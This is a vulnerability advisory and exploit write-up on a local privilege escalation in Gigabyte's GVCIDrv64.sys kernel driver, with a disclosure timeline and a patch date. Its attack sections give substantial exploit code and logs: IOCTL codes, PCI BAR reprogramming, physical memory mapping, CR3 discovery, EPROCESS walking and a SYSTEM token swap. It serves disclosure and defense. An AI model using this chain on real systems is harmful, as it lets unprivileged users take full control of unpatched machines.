From Normal User to SYSTEM: A Zero-Day in Gigabyte's GVCIDrv64.sys Kernel Driver
Security Advisory
Introduction
After my CPU-Z driver research yielded an Admin→SYSTEM escalation, I wanted something bigger: a true LPE from a normal, unprivileged user to SYSTEM. The key ingredient? A signed kernel driver with a permissive device ACL — one that lets any user, not just administrators, open a handle and send IOCTLs.
I turned my attention to Gigabyte Control Center, the hardware management suite shipped with Gigabyte motherboards and GPUs. Installed on millions of systems worldwide, it bundles a kernel driver called GVCIDrv64.sys for low-level hardware access. I extracted the latest version from my own machine, loaded it into Ghidra, and within hours had a working exploit chain: normal user opens device, maps physical memory, overwrites process token, becomes SYSTEM.
This is the story of that discovery.
The Target
| Field | Value |
|---|---|
| Driver | GVCIDrv64.sys |
| Size | 18,432 bytes |
| SHA256 | a2353030d4ea3ad9e874a0f7ff35bbfa10562c98c949d88cabab27102bbb8e48 |
| PDB | D:\hancel\project\vc\develop\driver\GPVIDrv\src\Release\GVCIDrv64.pdb |
| Device | \\.\GVCIDrv64 |
| Framework | KMDF (Kernel-Mode Driver Framework) |
| Application | Gigabyte Control Center v26.03.31.01 (latest, March 2026) |
| Signing | Valid Authenticode signature |
The driver is tiny — 18KB — which immediately told me it would be simple to reverse. Small drivers often mean minimal validation. I was right.
Phase 1: Static Analysis with Ghidra
First Look: Imports Tell the Story
Before even looking at code, I checked the import table. It told me everything:
1
2
3
4
5
6
ZwOpenSection — opens kernel section objects
ZwMapViewOfSection — maps sections into process address space
ZwUnmapViewOfSection — unmaps sections
HalTranslateBusAddress — PCI bus address translation
IoCreateDevice — device creation (no IoCreateDeviceSecure!)
ObReferenceObjectByHandle — kernel object reference
The combination of ZwOpenSection + ZwMapViewOfSection without MmMapIoSpace meant this driver uses the \Device\PhysicalMemory section object to map physical memory. And IoCreateDevice without IoCreateDeviceSecure meant no custom security descriptor — the device would use KMDF’s default ACL.
No SeSinglePrivilegeCheck. No ProbeForRead or ProbeForWrite. This driver does zero access validation.
DriverEntry: Device Creation
The entry point at 0x140001350 sets up the dispatch table:
1
2
3
DriverObject->MajorFunction[IRP_MJ_CREATE] = FUN_140001460;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = FUN_140001460;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = FUN_140001460;
One function handles everything — CREATE, CLOSE, and DEVICE_CONTROL all go to the same dispatcher at 0x140001460.
The device creation at 0x1400013b0:
1
2
IoCreateDevice(DriverObject, 0x20, L"\\Device\\GVCIDrv64", 40000, 0, FALSE, &DeviceObject);
IoCreateSymbolicLink(L"\\DosDevices\\GVCIDrv64", L"\\Device\\GVCIDrv64");
No custom security descriptor. The driver relies entirely on KMDF’s default, which turned out to be permissive enough for any authenticated user to open the device.
The Three IOCTLs
The dispatch handler at 0x140001460 is elegantly simple. Three IOCTL codes, three powerful primitives:
1
2
3
4
5
6
7
8
9
10
switch (ioctl_code) {
case 0x9C406580: // Map physical memory
return map_pci_bar_memory(DevExt, Irp, IoStackLocation);
case 0x9C406584: // Unmap section
return ZwUnmapViewOfSection(NtCurrentProcess(), user_supplied_address);
case 0x9C406588: // I/O port read/write
return io_port_access(DevExt, Irp, IoStackLocation);
}
Let me break down each one.
The Three Vulnerabilities
Vulnerability 1: Arbitrary I/O Port Access (IOCTL 0x9C406588)
The I/O port handler at 0x14000153C provides direct IN/OUT instruction access:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Buffer: [port:2][pad:2][data:4][direction:2][size:2] = 12 bytes
if (direction == 0) {
// READ
switch (size) {
case 1: data = __inbyte(port); break;
case 2: data = __inword(port); break;
case 4: data = __indword(port); break;
}
} else {
// WRITE
switch (size) {
case 1: __outbyte(port, data); break;
case 2: __outword(port, data); break;
case 4: __outdword(port, data); break;
}
}
No port number validation. Any I/O port from 0x0000 to 0xFFFF is accessible. This alone gives PCI configuration space read/write via ports 0xCF8/0xCFC — enough to reprogram any PCI device on the system.
Vulnerability 2: Physical Memory Map to Usermode (IOCTL 0x9C406580)
This is the crown jewel. The handler at 0x1400015CC:
- Reads a PCI BAR address from config space (register 0x10)
- Translates it via
HalTranslateBusAddress - Opens
\Device\PhysicalMemorywithSECTION_ALL_ACCESS - Maps 32MB of physical memory into the calling process via
ZwMapViewOfSection - Returns the mapped usermode VA to the caller
1
2
3
4
ZwOpenSection(§ion, 0xF001F, &attrs); // SECTION_ALL_ACCESS
ObReferenceObjectByHandle(section, 0xF001F, ...);
ZwMapViewOfSection(section, NtCurrentProcess(), &base, 0, size,
&offset, &size, ViewUnmap, 0, PAGE_READWRITE);
The physical address comes from the PCI BAR register. Combined with Vulnerability 1 (I/O port access to reprogram BARs), this creates an arbitrary physical memory mapping primitive: we control which 32MB of physical RAM gets mapped into our process, and we get direct read/write access through a usermode pointer.
No address validation. No size limits. No privilege checks.
Vulnerability 3: Arbitrary Section Unmap (IOCTL 0x9C406584)
1
ZwUnmapViewOfSection(NtCurrentProcess(), user_supplied_address);
Unmaps any section at a user-supplied address. While less immediately useful, this enables process destabilization and could facilitate code injection by unmapping DLLs.
The Critical Finding: Everyone Has Access
Before writing any exploit code, I needed to answer one question: can a normal user open this device?
I compiled a simple test program that calls CreateFileW(L"\\\\.\\GVCIDrv64", GENERIC_READ|GENERIC_WRITE, ...) and deployed it to my Windows Server 2019 lab. I created a normal domain user testlpe with zero special privileges — just SeChangeNotifyPrivilege and SeIncreaseWorkingSetPrivilege.
1
2
[*] Running as: testlpe
[+] FULL ACCESS opened! Handle=0x00000000000000f0
Any authenticated user has full read/write access to the device. The KMDF framework’s default ACL doesn’t restrict access to administrators. This transforms the three IOCTLs from admin-only capabilities to universal privilege escalation primitives.
I verified:
1
2
3
4
C:\> whoami /priv
Privilege Name Description State
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
No SeDebugPrivilege. No SeLoadDriverPrivilege. No admin group membership. Just a regular user — with full kernel hardware access.
Phase 2: Building the Exploit
The Exploitation Chain
My strategy:
- Open device — any user can do this
- Reprogram PCI BAR via I/O port IOCTL (ports 0xCF8/0xCFC)
- Map physical memory into usermode via map IOCTL
- Scan mapped memory for System EPROCESS (PID=4, name=”System”)
- Scan for our own EPROCESS (our PID, our exe name)
- Read System token from EPROCESS+0x358
- Write System token to our EPROCESS — direct memory write, no IOCTL needed!
- whoami →
nt authority\system
The beauty of this exploit: step 7 is a plain C pointer dereference. Because the physical memory is mapped into our usermode address space, we just do *(DWORD64*)my_token_ptr = sys_token. No kernel write IOCTL needed — the mapping IS the write primitive.
PCI BAR Reprogramming
To control which physical address gets mapped, I reprogram a PCI device’s BAR (Base Address Register):
1
2
3
4
5
6
7
// Disable memory decode
pci_write(0, dev, 0, 0x04, cmd & ~2);
// Set BAR to target physical address
pci_write(0, dev, 0, 0x10, target_pa | (orig_bar & 0xF));
// Re-enable
pci_write(0, dev, 0, 0x04, cmd | 2);
// Now map IOCTL reads this BAR and maps that physical address
The I/O port IOCTL gives me OUT instructions to PCI config ports 0xCF8 (address) and 0xCFC (data). I can read/write any PCI configuration register on any device.
EPROCESS Scanning
With 32MB mapped at a time, I scan physical memory for EPROCESS structures:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for (DWORD off = 0; off < chunk_size - 0x600; off += 8) {
if (*(DWORD*)(mem + off) != target_pid) continue;
// Check ActiveProcessLinks — should be a kernel pointer
DWORD64 flink = *(DWORD64*)(mem + off + 8);
if ((flink & 0xFFFF000000000000) != 0xFFFF000000000000) continue;
// Verify ImageFileName at known offset
char *name = (char*)(mem + off + (name_offset - pid_offset));
if (strcmp(name, "System") != 0) continue;
// Read token
DWORD64 token = *(DWORD64*)(mem + off + (token_offset - pid_offset));
// FOUND!
}
On Windows Server 2019 build 17763, the offsets are:
UniqueProcessId: +0x2E0ActiveProcessLinks: +0x2E8Token: +0x358ImageFileName: +0x450
Token Theft
Once both EPROCESS structures are found in physical memory, the token theft is a single pointer write — but with a critical detail: the EX_FAST_REF reference count bits must be preserved.
On x64 Windows, EPROCESS.Token is an EX_FAST_REF — the low 4 bits are a reference count, not part of the pointer. Copying the raw System token value (including its reference count) corrupts our process’s token state. The fix: mask out the System token’s low bits and splice in our original reference count:
1
2
3
4
5
6
7
8
9
10
11
12
13
// Map the page containing our token
void *my_page = map_32mb(my_token_pa & ~0x1FFFFFF);
DWORD64 *my_tok_ptr = (DWORD64*)((BYTE*)my_page + (my_token_pa & 0x1FFFFFF));
// Read System token from its mapped page
void *sys_page = map_32mb(sys_token_pa & ~0x1FFFFFF);
DWORD64 sys_token = *(DWORD64*)((BYTE*)sys_page + (sys_token_pa & 0x1FFFFFF));
// THE WRITE — splice System pointer with our refcount
DWORD64 my_old_token = *my_tok_ptr;
DWORD64 token_new = (sys_token & ~0xFULL) | (my_old_token & 0x7ULL);
*my_tok_ptr = token_new;
// We are now SYSTEM.
No shellcode. No ROP chains. No SMEP bypass. Just a pointer write through a legitimately mapped physical memory page — with proper EX_FAST_REF handling to keep the kernel’s reference counting consistent.
After the write, verification requires care: the SYSTEM token has different filesystem permissions than the original user. Writing whoami output to C:\Temp (user directory) fails silently. Instead, verify via GetTokenInformation(TokenUser) which returns SID S-1-5-18 (NT AUTHORITY\SYSTEM), and write command output to C:\Windows\Temp (SYSTEM-accessible).
Phase 3: The Challenges — v2 (Brute-Force Scan)
The first working exploit (v2) used brute-force physical memory scanning. It worked, but only under specific conditions. Here are the walls I hit.
Challenge 1: EPROCESS Above 4GB
My first attempts ran on a 5GB VM. The System EPROCESS was consistently allocated at physical addresses above 4GB (~5.9GB). The driver only reads a 32-bit BAR register, limiting mappings to addresses below 4GB. I couldn’t reach the EPROCESS.
Solution: Reduced the VM to 2GB RAM. With all physical memory below the PCI MMIO hole (~3GB), EPROCESS allocations land in mappable territory. But this meant v2 would never work on real machines with 16+ GB RAM — a fundamental limitation I needed to solve.
Challenge 2: False Positive Name Matches
My initial scan matched “System.Windows.Forms” as “System” because I used strncmp (prefix match). The EPROCESS at that PA had a garbage token value.
Solution: Exact match — verify the byte after “System” is null (name[6] == '\0').
Challenge 3: EX_FAST_REF Reference Count
After overwriting our token with the System token, child processes (cmd.exe, whoami) crashed. The raw token copy included the System process’s EX_FAST_REF reference count bits, creating an inconsistency.
Solution: Splice the reference count — keep our original low 3 bits and combine with System’s token pointer:
1
2
DWORD64 token_new = (sys_token & ~0xFULL) | (my_old_token & 0x7ULL);
*my_tok_ptr = token_new;
Challenge 4: Token Verification After Swap
After the token swap, whoami produced empty output when piped or written to C:\Temp. The SYSTEM token has different filesystem permissions — it couldn’t write to the user’s temp directory.
Solution: Two-step verification:
- Direct SID check via
GetTokenInformation(TokenUser)→ confirmsS-1-5-18(SYSTEM) - Write whoami output to
C:\Windows\Temp(accessible by SYSTEM)
v2 Result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[22:31:26] === GVCIDrv64 0-Day LPE v2 (Normal User → SYSTEM) ===
[22:31:26] [*] User: lpetest, PID: 580
[22:31:26] [+] Device opened
[22:31:27] [+] System EPROCESS: PA=0x7d06f318 name='System' token=0xffff8c03aae0604e
[22:31:27] [+] Our EPROCESS: PA=0xeec1358 name='gvci10.exe' token=0xffff8c03b0a5606b
[22:31:27] [+] System token: 0xffff8c03aae0604e
[22:31:27] [+] Our token before: 0xffff8c03b0a5606b
[22:31:27] [+] Our token after: 0xffff8c03aae06043 (spliced refcount)
[22:31:27] [+] Current SID: S-1-5-18
[+] ========================================
[+] NT AUTHORITY\SYSTEM ACHIEVED!
[+] Escalated from: lpetest (normal user)
[+] ========================================
[22:31:28] [+] whoami: nt authority\system
v2 worked perfectly on a 2GB VM. But when I ran it on my actual machine — a Windows 11 box with 16GB RAM and an NVIDIA GPU — instant BSOD. The exploit was fundamentally broken for real hardware. That’s when the real research began.
Phase 4: Making It Universal — The Research Nobody Talks About
Every public driver exploit I’ve seen stops at the brute-force scan. “Scan physical memory for EPROCESS, overwrite token, done.” Papers, blog posts, CTF writeups — they all assume the kernel structures are in the first few GB of RAM and that you can safely scan physical memory. Nobody discusses what happens when:
- The machine has 16+ GB RAM and EPROCESS is at physical address 10GB
- The BAR device you’re reprogramming is an active NVIDIA GPU
- The driver corrupts 4 bytes of physical memory on every single map call
- The BAR flag bits silently shift your reads by 8 bytes
I ran into all four. Solving them required reverse-engineering not just the driver, but the entire physical memory mapping pipeline: PCI BAR mechanics, HalTranslateBusAddress behavior, ZwMapViewOfSection offset handling, and x64 page table structures. This section documents that journey.
The Real-Hardware BSOD
I compiled v2, transferred it to my Windows 11 machine (16GB RAM, NVIDIA RTX, build 26200), loaded the driver, and ran it. The screen went blue before any output appeared.
The crash was immediate. Not from the token theft — from the PCI BAR scan in find_bar_devices(). v2 grabbed the first PCI device with a memory BAR, which on my machine was the NVIDIA GPU. Reprogramming an active GPU’s BAR register while its driver (nvlddmkm.sys) is actively rendering = instant system crash. The GPU driver accesses its BAR constantly for command submission, and suddenly the BAR points to physical address 0 instead of VRAM.
This is a problem nobody talks about in driver exploitation. On a VM with a simple emulated VGA, BAR reprogramming is harmless. On real hardware with active device drivers, it’s catastrophic.
Solution: Safe Device Selection
I added PCI class code filtering. Every PCI device has a class code at config register 0x08 that identifies its type. I skip dangerous devices and prefer benign ones:
1
2
3
4
5
6
7
8
9
10
11
static int device_safety(int bus, BYTE dev) {
BYTE base_class = (pci_read(bus, dev, 0, 0x08) >> 24) & 0xFF;
WORD vendor = pci_read(bus, dev, 0, 0) & 0xFFFF;
if (vendor == 0x10DE) return 0; // NVIDIA GPU — instant BSOD
if (vendor == 0x1002) return 0; // AMD GPU — same
if (base_class == 0x01) return 0; // Storage — data corruption
if (base_class == 0x02) return 0; // Network — connectivity loss
if (vendor == 0x1234 && base_class == 0x03) return 2; // QEMU VGA — safe
return 1; // Everything else — bridges, USB, serial, etc.
}
Priority-based selection ensures the exploit picks the safest available device. On VMs, the QEMU VGA (vendor 0x1234, 16MB framebuffer BAR) gets top priority. On real hardware, it falls through to PCI bridges, ISA bridges, or SMBus controllers.
The Phantom 8-Byte Shift
After fixing the BSOD, the exploit ran without crashing — but every physical memory read returned garbage. Page table entries were nonsensical, CR3 validation always failed. I added debug output and saw:
1
[W] PML4[0x1cc] @ PA 0x40e60 = 0xacd11e29c8468869
That PML4 entry should be a page-aligned physical address with the present bit set. Instead it looked like random data. I was reading the right address… wasn’t I?
I decompiled the driver’s map handler in Ghidra and traced every byte:
1
2
3
4
5
6
7
8
9
10
11
// Driver reads raw BAR value — including flag bits in low nibble
local_78 = in(0xcfc); // e.g., 0xFD000008 → low nibble = 0x8
// Passes raw value to HalTranslateBusAddress
HalTranslateBusAddress(PCIBus, 0, CONCAT44(0, local_78), ...);
// Maps with the translated address as section offset
ZwMapViewOfSection(section, -1, &base, 0, size, &offset, ...);
// Adjusts returned pointer by the translation offset
mapped_ptr = base + (translated_addr - page_aligned_offset);
The VGA BAR value is 0xFD000008. The low nibble 0x8 means “prefetchable, 32-bit memory.” When I reprogram the BAR to physical address 0, I write (0 & 0xFFFFF000) | (0xFD000008 & 0xF) = 0x00000008. The driver reads this back, and HalTranslateBusAddress sees physical address 0x8, not 0x0.
The PCI BAR spec says low bits are read-only hardware flags. They can’t be cleared. So every mapping through this BAR is silently shifted by 8 bytes. mapped[0] corresponds to PA 0x8, not PA 0x0.
For the brute-force scan in v2, this 8-byte shift was invisible — the EPROCESS pattern match works at any alignment because it checks relative offsets. But for the page table walk in v3, reading PML4 entry at PA CR3 + index*8 was actually reading PA CR3 + index*8 + 8 — one entry off in the page table. Every level of the walk was corrupted.
Solution: Track the BAR flag bits and compensate in every read/write:
1
2
3
4
5
6
7
8
9
10
11
12
13
static DWORD g_bar_flags32 = 0; // stored as (orig_bar & 0xF)
static BOOL phys_read(DWORD64 pa, void *out, DWORD size) {
DWORD64 chunk_base = pa & ~CHUNK_MASK;
DWORD offset = (DWORD)(pa & CHUNK_MASK);
DWORD flags = get_bar_flags(pa);
void *mapped = map_chunk(chunk_base);
// Subtract BAR flag offset: mapped[0] = PA(chunk_base + flags)
int adjusted = (int)offset - (int)flags;
memcpy(out, (BYTE*)mapped + adjusted, size);
...
}
This was the most subtle bug in the entire exploit. I’ve never seen it discussed in any public driver exploitation resource. Every exploit that uses BAR reprogramming through a driver like this has this bug — they just don’t notice because brute-force scans are alignment-agnostic.
The Driver’s Secret Write: 4 Bytes of Corruption Per Map
With the offset fixed, I tried a different approach: map each 4KB page individually for precise page table walks. It worked on the VM, then BSODed it. Repeatedly.
Back to Ghidra. Deep in the map handler, after ZwMapViewOfSection returns, the driver does this:
1
2
3
if ((*(uint *)(mapped_va + 0x200) & 0x100000) == 0) {
*(uint *)(mapped_va + 0x200) |= 0x100000; // Set bit 20
}
Every single map call writes 4 bytes at offset +0x200 of the mapped physical address. On a legitimate PCI device, offset 0x200 is a device register — setting bit 20 enables bus mastering. But when I reprogram the BAR to map arbitrary RAM, offset 0x200 is real kernel memory.
My page-level mapping approach mapped thousands of individual pages. Each mapping corrupted 4 bytes at page_base + 0x200. When those pages contained kernel page tables, the corruption hit PTE entries — changing valid page table mappings to garbage. Instant BSOD.
Solution: Map 32MB chunks instead of 4KB pages. With chunk mapping, the corruption only happens once per 32MB region (at chunk_base + 0x200). For the first chunk starting at PA 0, the corruption hits PA 0x200 — the real-mode Interrupt Vector Table, which is unused in 64-bit mode. Harmless.
This design flaw in the driver — writing to the mapped region unconditionally — constrains the exploitation strategy. You cannot do fine-grained page-level mapping. You must map large chunks and accept one corruption per chunk. No public writeup I’ve found mentions this constraint.
The CR3 Problem: Finding the Page Table Root
With the offset fix and chunk mapping working, I needed the kernel’s CR3 (page table root physical address) to walk page tables. Three approaches:
Approach 1: Processor Start Block (PA 0x10A0)
The BAR-Tender project by defparam revealed that Windows stores the kernel CR3 at physical address 0x10A0 — the Processor Start Block used during AP processor startup. I read it:
1
[*] PA 0x10A0 = 0xfffc0000
On my VM, this returned 0xfffc0000. Page table walk with this CR3 failed — it wasn’t the correct value. The Processor Start Block format may vary between Windows versions and VM configurations.
Approach 2: Common CR3 Values
BAR-Tender hardcodes CR3 = 0x1aa000. I built a table of common values seen across Windows installations:
1
2
3
4
5
DWORD64 common_cr3[] = {
0x1aa000, 0x1a0000, 0x1ab000, 0x1ad000,
0x1b0000, 0x1c0000, 0x1d0000, 0x1e0000,
0x100000, 0x120000, 0x140000, 0x160000, ...
};
For each candidate, I validate by walking the page tables to translate the System EPROCESS VA (obtained from NtQuerySystemInformation) and checking if the resulting PA contains the string “System” at the ImageFileName offset:
1
2
3
4
5
6
7
8
9
10
for (int i = 0; i < N_COMMON; i++) {
DWORD64 spa = 0;
if (va_to_pa(common_cr3[i], sys_eprocess_va, &spa)) {
char name[16];
if (phys_read(spa + name_off, name, 16) &&
memcmp(name, "System", 7) == 0) {
// VALIDATED — this is the correct CR3
}
}
}
On my test system, 0x1aa000 validated immediately. This is the approach that works in practice.
Approach 3: Brute-Force (Fallback)
If common values fail, try every page-aligned address in the first 4MB. The CR3 is always a low physical address (the kernel page tables are allocated early in boot). This scans at most 1024 candidates, staying within a single 32MB chunk (one corruption only).
The EPROCESS Walk: No More Scanning
With CR3 in hand, I eliminated the brute-force EPROCESS scan entirely. Instead, I walk the kernel’s ActiveProcessLinks doubly-linked list using virtual addresses:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
DWORD64 cur_va = system_eprocess_va;
for (int i = 0; i < 1000; i++) {
// Read Flink (next process in list)
DWORD64 flink_pa;
va_to_pa(cr3, cur_va + links_off, &flink_pa);
phys_read(flink_pa, &flink, 8);
DWORD64 next_va = flink - links_off; // EPROCESS base
// Read PID
va_to_pa(cr3, next_va + pid_off, &pid_pa);
phys_read(pid_pa, &pid, 4);
if (pid == my_pid) {
// Found! Translate to PA for token theft
va_to_pa(cr3, next_va, &my_eproc_pa);
break;
}
cur_va = next_va;
}
This approach is:
- Exact — no false positives, no alignment issues
- Fast — walks ~50 processes vs scanning gigabytes
- Universal — works regardless of RAM size because it follows virtual addresses
- Safe — only maps the 32MB chunks that contain actual page table data
The Full v3 Pipeline
The final universal exploit chains five primitives:
NtQuerySystemInformation→ System EPROCESS virtual address- CR3 Oracle → kernel page table root (try common values, validate via page walk)
va_to_pa(cr3, VA)→ translate any kernel VA to physical addressphys_read/phys_write→ read/write physical RAM with BAR offset compensation- EPROCESS list walk → find any process by PID via kernel linked list
No brute-force scan. No RAM size limits. No BSOD-inducing page-level maps. The entire exploit runs in under 5 seconds regardless of system configuration.
The Result
v3 — Universal (Any RAM Size)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[18:02:18] === GVCIDrv64 0-Day LPE v3 — Universal ===
[18:02:18] [*] User: Administrator, PID: 2112
[18:02:18] [+] Device opened
[18:02:18] [+] Windows Build 17763 (v10.0)
[18:02:18] [+] Win10 1809/Srv2019 — Token=0x358 Name=0x450 PID=0x2e0
[18:02:18] [+] NtQuerySI succeeded with 2MB buffer
[18:02:18] [+] System EPROCESS VA: 0xffffe604c4c655c0
[18:02:18] [+] 32-bit BAR: PCI 0:2:0 ID=0x11111234 class=0300 prio=2
[18:02:18] [*] Skip PCI 0:18:0 ID=0x100E8086 class=0200 (unsafe)
[18:02:18] [+] 64-bit BAR: PCI 0:30:0 ID=0x00011B36 class=0604 prio=1
[18:02:18] [+] CR3=0x1aa000 (common value), System PA=0x7c6655c0
[18:02:18] [+] System token: 0xffffd00ec8e06043
[18:02:22] [+] Our EPROCESS: VA=0xffffe604c9d08080 PA=0x17e29080 (via list walk)
[18:02:22] [+] Our token before: 0xffffd00ece21106c
[18:02:22] [+] Token overwritten: 0xffffd00ece21106c → 0xffffd00ec8e06044
[18:02:22] [+] Current SID: S-1-5-18
[+] ============================================
[+] NT AUTHORITY\SYSTEM ACHIEVED!
[+] Works on ANY RAM size via page-table walk
[+] ============================================
[18:02:22] [+] whoami: nt authority\system
System EPROCESS was at PA 0x7c6655c0 (~2GB). Our process at PA 0x17e29080 (~380MB). Both found through page table walks — no physical memory scanning. On a 16GB machine, these could be at 12GB and the exploit would work identically.
Vulnerability Summary
| Aspect | Detail |
|---|---|
| Driver | GVCIDrv64.sys (Gigabyte Control Center) |
| Device | \\.\GVCIDrv64 |
| Access Required | Any authenticated local user (no admin, no privileges) |
| Root Cause | Permissive device ACL + unvalidated physical memory mapping |
| Vuln 1 | Arbitrary I/O port R/W (IOCTL 0x9C406588) |
| Vuln 2 | Physical memory map to usermode (IOCTL 0x9C406580) |
| Vuln 3 | Arbitrary section unmap (IOCTL 0x9C406584) |
| Impact | Complete system compromise from unprivileged user |
| Tested On | Windows Server 2019 (17763), Windows 10 21H2, Windows 11 23H2+ |
| RAM Sizes | 2GB VM, 4GB VM — universal via page-table walk (any size) |
| CVSS 3.1 | 8.8 (High) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
Recommendations
- Use IoCreateDeviceSecure with restrictive SDDL:
D:P(A;;GA;;;SY)(A;;GA;;;BA)(SYSTEM and Admins only) - Remove PhysicalMemory access — modern drivers should never open
\Device\PhysicalMemory - Add SeSinglePrivilegeCheck before any hardware-access IOCTL
- Validate I/O port numbers — block access to PCI config ports (0xCF8/0xCFC)
- Remove the write at offset +0x200 — bus mastering should be configured through proper PCI driver APIs
- Consider removing the kernel driver entirely — GPU VGA BIOS reads can use ACPI/WMI interfaces
The Research Gap
Public driver exploitation resources — blog posts, conference talks — almost universally stop at the brute-force scan. “Find EPROCESS in physical memory, overwrite token.” The implicit assumptions:
- Kernel structures are in low RAM (< 4GB)
- BAR reprogramming is safe (no active drivers on the device)
- The driver maps exactly the address you ask for (no hidden offsets)
- Mapping operations are read-only (no side-effect writes)
Every one of these assumptions is false on real hardware. The gap between “works on a CTF VM” and “works on a production machine” is enormous, and it’s almost entirely undocumented.
What I had to discover independently:
BAR flag bits shift every read — PCI BAR low nibble (type/prefetchable flags) is hardware-defined and read-only. The driver passes raw BAR values to HalTranslateBusAddress, creating a phantom offset in every mapping. No public exploit accounts for this.
Drivers write to mapped memory — GVCIDrv64 writes 4 bytes at offset +0x200 of every mapping. This is device-register initialization code that becomes kernel memory corruption when the BAR is reprogrammed. The constraint it creates (must use large chunks, not page-level maps) is never mentioned.
GPU BAR reprogramming is lethal — On a VM, reprogramming the VGA BAR is harmless. On real hardware with NVIDIA/AMD drivers, it’s an instant BSOD. Every real-world exploit must include PCI device class filtering.
CR3 discovery is non-trivial — The kernel’s page table root isn’t at a fixed address. The Processor Start Block technique (PA 0x10A0) doesn’t work on all configurations. You need a validation oracle: try candidates and verify by walking tables to a known VA.
These aren’t edge cases. They’re the difference between a proof-of-concept and a weapon. I’m documenting them here because nobody else has.
Key Takeaways
Device ACLs matter more than IOCTL validation. CPU-Z had no privilege checks on its IOCTLs but restricted device access to admins — limiting the impact. Gigabyte’s driver has no checks AND no ACL — making it exploitable by anyone.
Physical memory mapping is the most dangerous primitive. Unlike read/write IOCTLs that copy data,
ZwMapViewOfSectionon\Device\PhysicalMemorygives the caller a direct pointer to physical RAM. The caller can read AND write without any further driver interaction.Small drivers hide big vulnerabilities. At 18KB with only three IOCTLs, GVCIDrv64.sys looks innocuous. But three well-chosen IOCTLs — I/O ports, physical memory, section unmap — provide complete system control.
KMDF defaults aren’t always secure. The driver uses
IoCreateDevicewith default parameters, expecting KMDF to provide reasonable security. The resulting ACL allows any authenticated user full access. Always specify explicit security descriptors.Hardware vendors ship kernel attack surface to millions of users. Gigabyte Control Center is installed on every system with a Gigabyte motherboard or GPU. Each installation adds a kernel driver that any local user can leverage for privilege escalation. The driver is signed, so even systems with driver signing enforcement will load it without complaint.
The gap between VM exploit and real-hardware exploit is a research field. BAR flag offsets, driver side-effect writes, safe device selection, CR3 discovery oracles, page-table-walk-based EPROCESS location — these are hard-won techniques that make the difference between a demo and a deployable tool. The offensive security community should document them better.
Exploit Evolution
| Version | Technique | Limitation |
|---|---|---|
| v1 | Brute-force scan, single BAR | Only worked on specific VM |
| v2 | Multi-BAR, offset table, EX_FAST_REF fix | Required RAM <= 2GB |
| v3 | CR3 oracle + page-table walk + EPROCESS list walk + BAR offset compensation + safe device selection | Universal — any RAM, any Windows build |
POC
| File | Description |
|---|---|
poc/gvci_system2.c | v2 exploit — brute-force scan (works on VMs with <= 2GB RAM) |
poc/gvci_universal.c | v3 exploit — universal CR3 + page-table walk (any RAM size) |
poc/gvci_test_access.c | Device ACL verification tool |
targets/GVCIDrv64.sys | Vulnerable driver binary |
Timeline
| Date | Event |
|---|---|
| 2026-05-22 | Driver obtained from latest Gigabyte Control Center |
| 2026-05-23 | Three vulnerabilities discovered via Ghidra reverse engineering |
| 2026-05-23 | Permissive device ACL confirmed (normal user full access) |
| 2026-05-23 | v2 exploit: brute-force scan, SYSTEM on 2GB VM |
| 2026-05-24 | v3 exploit: CR3 oracle, page-table walk, BAR offset fix — universal |
| 2026-05-24 | Confirmed on Windows Server 2019 (build 17763) |
| 2026-05-24 | Vendor notification |
| 2026-09-21 | Patch release |
| 2026-09-21 | Public disclosure |